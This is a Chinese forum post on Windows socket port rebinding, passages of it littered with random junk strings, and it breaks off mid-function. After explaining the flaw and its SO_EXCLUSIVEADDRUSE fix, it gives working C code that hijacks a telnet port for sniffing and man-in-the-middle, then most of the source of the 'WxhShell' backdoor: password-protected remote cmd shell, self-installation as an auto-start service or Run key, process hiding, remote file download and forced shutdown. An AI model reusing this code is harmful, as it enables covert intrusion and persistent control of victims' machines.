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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0vs0*;F; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,*,sw:=2 $*~Iu%Az saddr.sin_family = AF_INET; }GHxG9!z US? Rr saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~el-*=<m _JGs}aQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Yq'4e[i ~krS#\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;Fl<v@9 cep$_Ja 这意味着什么?意味着可以进行如下的攻击: ~waNPjPRG HV]Ze>} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O ++/ry%k +p:Y=>bTj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eE:&qy^ LhJ a)jFQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1]4^V7y u@ N~1@RT| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k1N$+h
;\ B0mLI%B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gb-{2p>} AO0!liQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -rY 7)= s_wUM)! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M^SuV 2M6dMvS #include ~I_owCVZ #include EZr6oO@Nc #include 9q4_j #include E)YVfM DWORD WINAPI ClientThread(LPVOID lpParam); !G=>ve int main() |KG&HNfP- { !Rw&DFU WORD wVersionRequested; 8:g!w:$x DWORD ret; 6* rcR] WSADATA wsaData; )&1!xF BOOL val; delf
] SOCKADDR_IN saddr; r4knN
2: SOCKADDR_IN scaddr; VQ
|^
int err; p!"(s/= SOCKET s; Q</h-skLZ SOCKET sc; E8[XG2ye int caddsize; +g\;bLT HANDLE mt; juno.$
6 DWORD tid; Cv TwBJy1 wVersionRequested = MAKEWORD( 2, 2 ); e6P[c=m
# err = WSAStartup( wVersionRequested, &wsaData ); Rl@$xP if ( err != 0 ) { LdWc
X`K printf("error!WSAStartup failed!\n"); >BiRk%x return -1; IcoowZZ } 70iH0j) saddr.sin_family = AF_INET; @FX{M.. %!W%#U0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-0|K,k r,'O).7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /7p>7q9g saddr.sin_port = htons(23); *TnzkNN_, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nxRwWj57 { 8M93cyX printf("error!socket failed!\n"); F'BdQk3o return -1; ,/o(|sks } /t{=8v~ val = TRUE; \|q-+4]@, //SO_REUSEADDR选项就是可以实现端口重绑定的 ~mA7pOHj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L+R>%d
s { vfbe$4mH printf("error!setsockopt failed!\n"); TA)LPBG return -1; k^*$^;z } 1X:&*a"5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h3 @s2 fK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p {C9`wi) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _t.FL@3e fOBN=y6x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T|+$@o { 5faj;I{%JY ret=GetLastError(); ZLJNw0!=|t printf("error!bind failed!\n"); qY}Cg0[@g return -1; JK^[{1
JI } #:
hVF/ listen(s,2); 22vq=RO7Z while(1) a|.20w5 { Wm>b3: caddsize = sizeof(scaddr); Q7k.+2 //接受连接请求 QNJ\!+,HV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tR O IBq| if(sc!=INVALID_SOCKET) CKC0{J8g
{ JN^bo(kb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k /^g* if(mt==NULL) _80ns&q { vf_OQ4'G, printf("Thread Creat Failed!\n"); t?.\|2 break; AfE%a-;: } b7v dk } B(Y.`L? %E CloseHandle(mt); 0BXs&i-TP5 } ?pKN'` closesocket(s); DPeVKyjU WSACleanup(); {rfte'4;= return 0; Y- ~;E3( } GC?S];PL DWORD WINAPI ClientThread(LPVOID lpParam) g< )72-h { lPp6
pVr SOCKET ss = (SOCKET)lpParam; f!!P SOCKET sc; NDW8~lkL unsigned char buf[4096]; Lupy:4AD SOCKADDR_IN saddr; :B^mV{~
long num; `vX4!@Tw DWORD val; z"qv DWORD ret; >]?Jrs //如果是隐藏端口应用的话,可以在此处加一些判断 U#"WrWj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 g-eq saddr.sin_family = AF_INET; T0?uC/7H saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nrbazyKm saddr.sin_port = htons(23); 2:~cJk{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /=ACdJ { Wx k;g printf("error!socket failed!\n"); *#GDi'0 return -1; ex0oAt^ } &q L<C val = 100; #'iPDRYy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q>[Ce3 { X\'E4 ret = GetLastError(); z.j4tc9F/5 return -1; j88=f#< } 3B -NYJa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xfes_v"" { R(GmU4 ret = GetLastError(); O&= KlnI: return -1; } bCK } uDI}R]8~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ex=)H%_| { QA! #s\ printf("error!socket connect failed!\n"); zM\IKo_" closesocket(sc); )1K! [W}t closesocket(ss); mCK],TOA: return -1; )Oo2<:" } D2Vv\f while(1) A{1
\f* { Ri[S<GOMii //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e@yx}:]h //如果是嗅探内容的话,可以再此处进行内容分析和记录 kMqD
iJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oL)lyUVT num = recv(ss,buf,4096,0); 1oB$u!6P if(num>0) LVoyA/F send(sc,buf,num,0); $)l2G;& else if(num==0) >mew"0Q break; KZZOi: num = recv(sc,buf,4096,0); bu_/R~&3{ if(num>0) Pwg/Vhfh send(ss,buf,num,0); :+<t2^)rD else if(num==0) "B~WcC break; _Ws#UL+Nq } 4 *H(sq closesocket(ss); zF=#6 closesocket(sc); +*: }p return 0 ; L2<+#O# } Mc!2mE%47m ),MU+*` QYH."7X
> ========================================================== t z"5+uuu ~ t"n%SgY 下边附上一个代码,,WXhSHELL )G^p1o;\ '1Y<RD>x ========================================================== &+,:u*% P:>'
#include "stdafx.h" iF8@9m #g F2(iK6 #include <stdio.h> CH55K[{< #include <string.h> Imke/ =h #include <windows.h> Z4\tY^NI #include <winsock2.h> +{S Maq #include <winsvc.h> $1b]xQ #include <urlmon.h> 7KeXWW/ d
!,Qm #pragma comment (lib, "Ws2_32.lib") /i> ?i@O- #pragma comment (lib, "urlmon.lib") %7iUlO}}V L,E-z_<p #define MAX_USER 100 // 最大客户端连接数 5d> nIKW #define BUF_SOCK 200 // sock buffer "k/;`eAP #define KEY_BUFF 255 // 输入 buffer =!(S<]; "IOC[ #&G #define REBOOT 0 // 重启 )nJzSN=>$ #define SHUTDOWN 1 // 关机 o@Scz!"g U.Pa7tn #define DEF_PORT 5000 // 监听端口 ix(U:'{ cO8`J&EK #define REG_LEN 16 // 注册表键长度 7Y%!,ff #define SVC_LEN 80 // NT服务名长度 3L?WTS6(u !?S5IGLOj // 从dll定义API FK-}i|di typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wEZ,49 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G% o7BX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H]Y#pLu| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i<'{Y t) ; // wxhshell配置信息 |GJBwrL^0 struct WSCFG { PG\\V$}A( int ws_port; // 监听端口 'uws char ws_passstr[REG_LEN]; // 口令 !}z%#$ int ws_autoins; // 安装标记, 1=yes 0=no )lQN)!.) char ws_regname[REG_LEN]; // 注册表键名 0T7M_G'5Q char ws_svcname[REG_LEN]; // 服务名 Xs{/}wc.q; char ws_svcdisp[SVC_LEN]; // 服务显示名 +dDJes!] char ws_svcdesc[SVC_LEN]; // 服务描述信息 qK<aZ%V char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FrgW7`s[A int ws_downexe; // 下载执行标记, 1=yes 0=no YN_X0+b3C char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" x&QNP char ws_filenam[SVC_LEN]; // 下载后保存的文件名 32M6EEmPG un.G6| S }; xWd9%,mDNR M|1eqR%x-? // default Wxhshell configuration N5[_a/ struct WSCFG wscfg={DEF_PORT, &*X3ch "xuhuanlingzhe", (PRaiE 1, z\X60T "Wxhshell", H?rSP0. "Wxhshell", 7yo|ie@S "WxhShell Service", 1-4 "Wrsky Windows CmdShell Service", Q,OkO?uY "Please Input Your Password: ", ]R97n|s_ 1,
=~,$V<+c
" http://www.wrsky.com/wxhshell.exe", %{N>c:2I$ "Wxhshell.exe" sZ0g99eX }; L+v8E/W xmCm3ekmpC // 消息定义模块 ~+sne7
6 U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U;x99Go: char *msg_ws_prompt="\n\r? for help\n\r#>"; ]$* $0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; HY*l 4QK char *msg_ws_ext="\n\rExit."; *=($r%) char *msg_ws_end="\n\rQuit."; Rh wt< char *msg_ws_boot="\n\rReboot..."; \DG(
8l char *msg_ws_poff="\n\rShutdown..."; trID#DT~ char *msg_ws_down="\n\rSave to "; n,CD4Nv l=Lmr char *msg_ws_err="\n\rErr!"; *O"%tp6 char *msg_ws_ok="\n\rOK!"; !X \Sp} c@0l-R{q char ExeFile[MAX_PATH]; DR.3
J`?K int nUser = 0; nEjo, HANDLE handles[MAX_USER]; Z\ "Kd int OsIsNt; 3MS3O.0]/ { Hktu| SERVICE_STATUS serviceStatus; a7QlU=\ SERVICE_STATUS_HANDLE hServiceStatusHandle; 9$B)hrJo
-~QlHp&SY // 函数声明 f 3nnXE" int Install(void); F?yh23&_4 int Uninstall(void); e["Z!D_H int DownloadFile(char *sURL, SOCKET wsh); 8cYuzt].. int Boot(int flag); @c.11nfn` void HideProc(void); nOA,x int GetOsVer(void); ~$ cm9> int Wxhshell(SOCKET wsl); C=xo&I7 void TalkWithClient(void *cs); A"P\4 int CmdShell(SOCKET sock); 842Mydom int StartFromService(void); E9~&f^f int StartWxhshell(LPSTR lpCmdLine); {Sd@u$& f ~n' Ki+' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RW|UQY# VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yke<Wy1 {[(W4NAlH // 数据结构和表定义 \t&n
jMWpZ SERVICE_TABLE_ENTRY DispatchTable[] = r9p?@P\:[ { -o!saX< {wscfg.ws_svcname, NTServiceMain}, 2c*VHIl; {NULL, NULL} ~m,mvRS }; \?5[RR *g/I&'^ // 自我安装 ND)M3qp2( int Install(void) YyX^lL_ { f_z2#,g char svExeFile[MAX_PATH]; [A.eVuV;+ HKEY key; Rx_,J%0Fq strcpy(svExeFile,ExeFile); rm7*l<v6 'tq\<y // 如果是win9x系统,修改注册表设为自启动 g/n"N>L if(!OsIsNt) { )[^:]}%r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ThT.iD[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (+]Ig> t RegCloseKey(key); 3RTB~K8:{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #=)?s
8T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P~b%;*m}8 RegCloseKey(key); vl#V-UW$4P return 0; DbPBgD>Q } r&j+; JM5 }
YV2pERl } l:k E^ =6 else { J\Oc]gi\L 0*]<RM // 如果是NT以上系统,安装为系统服务 <9MQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y7}~T!UyfF if (schSCManager!=0)
2_ZHJ,r { f6/\JVi)- SC_HANDLE schService = CreateService N8/Au=De_ ( Ed ?Yk* 4 schSCManager, H7cRWB wscfg.ws_svcname, NZi'eZ{^` wscfg.ws_svcdisp, \a~;8):q=i SERVICE_ALL_ACCESS, | eVTxeq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lN]X2 4t SERVICE_AUTO_START, .[eSKtbc) SERVICE_ERROR_NORMAL, FHnHhB [ svExeFile, e-T9HM&%P NULL, fu7[8R"{ NULL, ;#Crh}~ NULL, * Kp ^al NULL, Di5Op(S(( NULL B=nx8s ); % 'L= if (schService!=0) #!F8n` C- { s3fGX|; CloseServiceHandle(schService); M#22Zfxq CloseServiceHandle(schSCManager); @?($j)9} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )Lv6vnT> strcat(svExeFile,wscfg.ws_svcname); ~jrU#<'G9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y|2g"J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iR4,$Nn> RegCloseKey(key); 8mQd*GGu1 return 0; b^|,9en } r:S5x. P2 } 5D q{"@E CloseServiceHandle(schSCManager); r0XGGLFuZl } >=RHE@ } :[$i~V *TMM:w|1 return 1; @tU>~y{E } [$ Xu T=)L5 Vuq< // 自我卸载 %@,:RA\pm int Uninstall(void) 5tbiNm^X { q=i,'.nS HKEY key; h11bK'TIv c+
H)1Dfq if(!OsIsNt) { n*]x02:LjZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A5J#x6@ RegDeleteValue(key,wscfg.ws_regname); :d/:Ga5v! RegCloseKey(key); <i`K%+<WO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #IciNCIrG RegDeleteValue(key,wscfg.ws_regname); 3ks| RegCloseKey(key); hc~#l # return 0; rBL_]\$7} } D/!G]hx } I[YfF } )-7(Hv1 else { ?(XX DyV[+P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (j\UoKLRt if (schSCManager!=0) bgx5{!A
{ _M[[o5{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (>/Dw|,m if (schService!=0) _KlPbyLU { )Z`viT if(DeleteService(schService)!=0) { ieK'<%dxF CloseServiceHandle(schService); ]&%X(jWyn CloseServiceHandle(schSCManager); pz z`4VS: return 0; SZ1pf#w! } _[6+FdS], CloseServiceHandle(schService); os0"haOI9h } 'G
By^hj? CloseServiceHandle(schSCManager); k1
txY } [_z2z6 } S&g- <
oG\)!O return 1; 3jQ$72_ } @C6DOB ?%TM7Z4 // 从指定url下载文件 [@71 int DownloadFile(char *sURL, SOCKET wsh) OjL"0imN6 { _O'rZ5}& HRESULT hr; UmHb-uk ; char seps[]= "/"; Sr-^faL char *token; doUqUak char *file; y#SD-#I- char myURL[MAX_PATH]; u K &_IE} char myFILE[MAX_PATH]; t`/RcAwA GVPEene strcpy(myURL,sURL); fxCPGj token=strtok(myURL,seps); 5EZr"[8M while(token!=NULL) Pxuz { { N =}Z# file=token; hB1 iSm token=strtok(NULL,seps); 5nlyb,"^g } "Kf~`0P AZm)$@e) GetCurrentDirectory(MAX_PATH,myFILE); s#CEhb strcat(myFILE, "\\"); !haXO strcat(myFILE, file); 5|H(N}S_ send(wsh,myFILE,strlen(myFILE),0); t@mw f3, send(wsh,"...",3,0); 5+PBS)pJ]% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /VOST^z! if(hr==S_OK) RAJ|#I1 return 0; ~V)VGGOL$v else mCP +7q7 return 1; +(hwe
jyC sjbC~Te-- } jF2GHyB #pxet // 系统电源模块 #hiDZ>nr int Boot(int flag) ;C@^wI { .ceU @^ HANDLE hToken; Ptxc9~k TOKEN_PRIVILEGES tkp; v}t:}M<; "h|0]y^2 if(OsIsNt) { E.*OA y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GeR-k9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9!<3qx/ tkp.PrivilegeCount = 1; 3).c[F^l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mr\L q~*c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <qZ+U4@I) if(flag==REBOOT) { "U~@o4u; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ymJw{&^am return 0; :re(khZq# } C F 0IP else { >LZ)<-Mk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'wHkE/83 return 0; {}2p1-( } k:yu2dQh } S~`AnX3! else { mAERZ<I if(flag==REBOOT) { T[II;[EiE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :9< r(22 return 0; <JuJ`t } 3S21DC@Y else { Q>Q}/{8! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "uNxKLDB return 0; ^qy-el } _A~gqOe } E^ti!4{< n Fn`>kQ return 1; g#&##f } {N`<e>A]{ d|HM // win9x进程隐藏模块 f@X*Tlx^| void HideProc(void) eNskuG|1 { =C}<0<"iF lBC-G*# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zIm!8a if ( hKernel != NULL ) &xT~;R^ { ZX}" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )4C6+63OD& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3Q"+
#Ob FreeLibrary(hKernel); Tj~#Xc } smS0Rk M)RQIl5 return; c3BL2>c } NGzqiu"J {iteC // 获取操作系统版本 1Ac1CsK* int GetOsVer(void) g0$k_ { >gl <$LQ?X OSVERSIONINFO winfo; t9l7
% +y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VAzJclB GetVersionEx(&winfo); i`spM<iR. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SZ){1Hu return 1; pZn%g]nRD else _ h-X-s Y return 0; HK.J/Zr } cW%O- jg/<"/E // 客户端句柄模块 .k(_j.v int Wxhshell(SOCKET wsl) md
s\~l73 { !d)i6W? SOCKET wsh; ?5gpk1 struct sockaddr_in client; EF~PM DWORD myID; pdu {<n)zLy while(nUser<MAX_USER) N/=3Bs0y- { 1r4/McB int nSize=sizeof(client); tYa*%|!v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1i2O]e! if(wsh==INVALID_SOCKET) return 1; jgIzB1H 3S?+G)qKo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hdb4E|'A if(handles[nUser]==0) ?^Ux+mVE closesocket(wsh); jXR+>=_ else <rF nUser++; 7mBL#T2 } _
RYZyw
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K@lV P!z JR)rp3o- return 0; %W+Fe,] } [J
Xrj{ 9m!fW|4 // 关闭 socket B/}>UHM void CloseIt(SOCKET wsh) 55\mQ|.Jn { .@V>p6MV closesocket(wsh); B:.rp.1 nUser--; aQFHB! ExitThread(0); z`SkKn0f
Y } j&5Xjl>4 :Yqa[._AF // 客户端请求句柄 _Ohq'ZgXm void TalkWithClient(void *cs) r1]e: { 2T9Z{v vS#]RW&j SOCKET wsh=(SOCKET)cs; :P~Owz char pwd[SVC_LEN]; 7a net char cmd[KEY_BUFF]; ] fB{ char chr[1]; GAKJc\o int i,j; <rs]@J'p Y}Uw7\e while (nUser < MAX_USER) { (#qVtN`t N%+M+zEJ if(wscfg.ws_passstr) { KMcP !N.I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |zKcL3* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5$X{{j2 //ZeroMemory(pwd,KEY_BUFF); %#~Wk|8} Q i=0; 7&1: ]{_
while(i<SVC_LEN) { 5JXLfYTUI (WvA9s{/ // 设置超时 aT #|mk=\ fd_set FdRead; 0M?}S~p] struct timeval TimeOut; ><~hOK?v FD_ZERO(&FdRead); I5]zOKlVR FD_SET(wsh,&FdRead); yk/XfwQ5 TimeOut.tv_sec=8; \\JXY*DA:+ TimeOut.tv_usec=0; T~>:8i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {'%=tJ[YX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *VB*/^6A ix;8S=eP~{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^(R
gSMuT` pwd =chr[0]; |Oe6OCPf if(chr[0]==0xd || chr[0]==0xa) { Wt=[R 4= pwd=0; 2_Z60] break; RU=%yk-gM } It[ ~0?+ i++; FBsw\P5w } `u-Y 5mY &7LfNN` // 如果是非法用户,关闭 socket gN%R-e0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mf#oa~_ } WyP1"e^9 ZUycJ-[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [aC(Ga} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cf9y0 {;U:0BPI3 while(1) { Nsq%b?# iKwVYL ZeroMemory(cmd,KEY_BUFF); .PgkHb=l@ *6L^A`_1] // 自动支持客户端 telnet标准 uY,FugWbl j=0; ln5On_Wm while(j<KEY_BUFF) { &BkNkb 0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~gN'";1i cmd[j]=chr[0]; ]CjODa if(chr[0]==0xa || chr[0]==0xd) { e]QkZg2?Yn cmd[j]=0; #~b9H05D break; `m5iZxhw } V.J%4&^X j++; ZfU_4Pl-> } @u^Ib33 !k:j+h/ // 下载文件 sp%7iNs if(strstr(cmd,"http://")) { 9YKEME+: send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^^m%[$nw&r if(DownloadFile(cmd,wsh)) SzgVvmM} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ctGjqHo else SDkN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); myXV~6R
3 } e(Verd:c else { F3q5!1 LPC7Bdjz switch(cmd[0]) { J0IK=Y (_* a4xGF // 帮助 s=:n<`Z2 case '?': { !s$fqn
6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zv41Yv!x} break; o9/P/PZ\X } e042`&9=Ic // 安装 Rd2[xk case 'i': { =GF+hM/~ if(Install()) deNU[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{|lzo'& else J [1GP_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N`M5`=. break; xK/`XY } wgrYZ^] // 卸载 rO
NLbrj case 'r': { T*oH tpFj# if(Uninstall()) aD4ln]sFxG send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,#crtX else A)xI.Q6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .+y#7-#6 break; *)`:Nm~y } qcK)J/K" // 显示 wxhshell 所在路径 ^/c|s!U^ case 'p': { 0t) IWD char svExeFile[MAX_PATH]; fqcyCu7Ep strcpy(svExeFile,"\n\r"); hm&~6rB strcat(svExeFile,ExeFile); -$7Jc=:> send(wsh,svExeFile,strlen(svExeFile),0); 7
ir T6O<. break; ;j$84o{ } ,"D1!0 // 重启 G
5)?! case 'b': { _?{2{^v send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6c2fqAF>i if(Boot(REBOOT)) F?UL0Q|u v send(wsh,msg_ws_err,strlen(msg_ws_err),0); \1tce`+ else { nP}/#Wy closesocket(wsh); |aZ^K\yI F ExitThread(0); /fX]Yu } $1axZ~8sS break; O
@w= } H:|yu // 关机 /(q* case 'd': { 2]@U$E='s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z
>pq<}R6 if(Boot(SHUTDOWN)) U9JqZ! send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_pK'jc else { 9(m^^ closesocket(wsh); &?~> I[^~
ExitThread(0); -/h$Yb } , 7}Ri break; 4F'@yi^Gt } @gZ%>qe // 获取shell Y$(G)Fs case 's': { w'UP#vT5& CmdShell(wsh); 7|{QAv closesocket(wsh); }\1V;T ExitThread(0); 4-m}W;igu break; 46mu,v }
"dA"N$ // 退出 &oT]ycz% case 'x': { tvd/Y|bV= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *bR _
C"- CloseIt(wsh); FCg,p2 break; W7.]V)$wM } aUd633 // 离开 sUg7 case 'q': { 2hquE_1S[w send(wsh,msg_ws_end,strlen(msg_ws_end),0); @.%ll n closesocket(wsh); W] RxRdY6[ WSACleanup(); d@C93VYp exit(1); L:~
"Vw6]_ break; _mcD*V } 9;:Lf } xEbcF+@ } r>
NgJf, 0n5N-b?G-@ // 提示信息 `AYHCn if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T'w=v-(J } oqG
0 @@ } r|
YuHm ZVI.s U return; PyIIdTm } 3uN;*f CA{c-kG // shell模块句柄 T,k`WR int CmdShell(SOCKET sock) (;!&RZ { w@hm>6j STARTUPINFO si; La9dFe-uu{ ZeroMemory(&si,sizeof(si)); H=B8'N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :[,n`0lH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :c
c#e&BO PROCESS_INFORMATION ProcessInfo; <x,$ODso char cmdline[]="cmd"; {"O'kx CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); si)920?E& return 0; \vKMNk;kz } ~]}7|VN.} PE3l2kr // 自身启动模式 mhh8<BI int StartFromService(void) 92XzbbLp { iQ:]1H s typedef struct f\1)BZ'I { nd-y`@z DWORD ExitStatus; z~Gi/Ln DWORD PebBaseAddress; `NrxoU= DWORD AffinityMask; ]Rz]"JZ\S DWORD BasePriority; "`16-g97 ULONG UniqueProcessId; ]>&au8 ULONG InheritedFromUniqueProcessId; Rs7=v2>I } PROCESS_BASIC_INFORMATION; GBN^ *I ~fEgrF d PROCNTQSIP NtQueryInformationProcess; c}lUP(Ss TN(1oJ: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W,}C*8{+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wQDKv'zU1 |6$6Za]: HANDLE hProcess; mI@]{K}Q% PROCESS_BASIC_INFORMATION pbi; LY/K,6^a ShFSBD\M# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GJU84Xn7 if(NULL == hInst ) return 0; v 6Tz7 8h}o5B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7@5}WNr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9tWu>keu 